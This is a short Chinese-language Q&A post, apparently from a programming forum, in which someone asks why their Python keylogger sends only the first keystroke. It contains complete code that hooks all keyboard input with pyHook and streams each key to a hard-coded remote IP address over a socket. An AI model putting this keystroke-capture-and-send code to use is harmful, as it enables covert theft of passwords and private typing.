【发布时间】:2018-04-23 21:25:48
【问题描述】:
出于有趣的目的,我正在构建一个键盘记录器。我想要的是键盘记录器将充当聊天客户端,并将每次击键发送给对方。但是,当我尝试这样做时,它只发送我按下的第一个键,而不是其他跟随它的键。
import socket
import pythoncom
import pyHook
HOST = "192.168.2.103"
PORT = 5000
s = socket.socket()
s.connect((HOST, PORT ))
def OnKeyboardEvent(event):
global s
keylog = chr(event.Ascii)
s.send(keylog.encode("utf-8"))
return True
h_m = pyHook.HookManager()
h_m.KeyDown =OnKeyboardEvent
h_m.HookKeyboard()
pythoncom.PumpMessages()
【问题讨论】:
-
首先,你确定它只发送第一个,还是你只在服务器端做一个
recv? -
不,我将 .recv 放在服务器端的 while 循环中。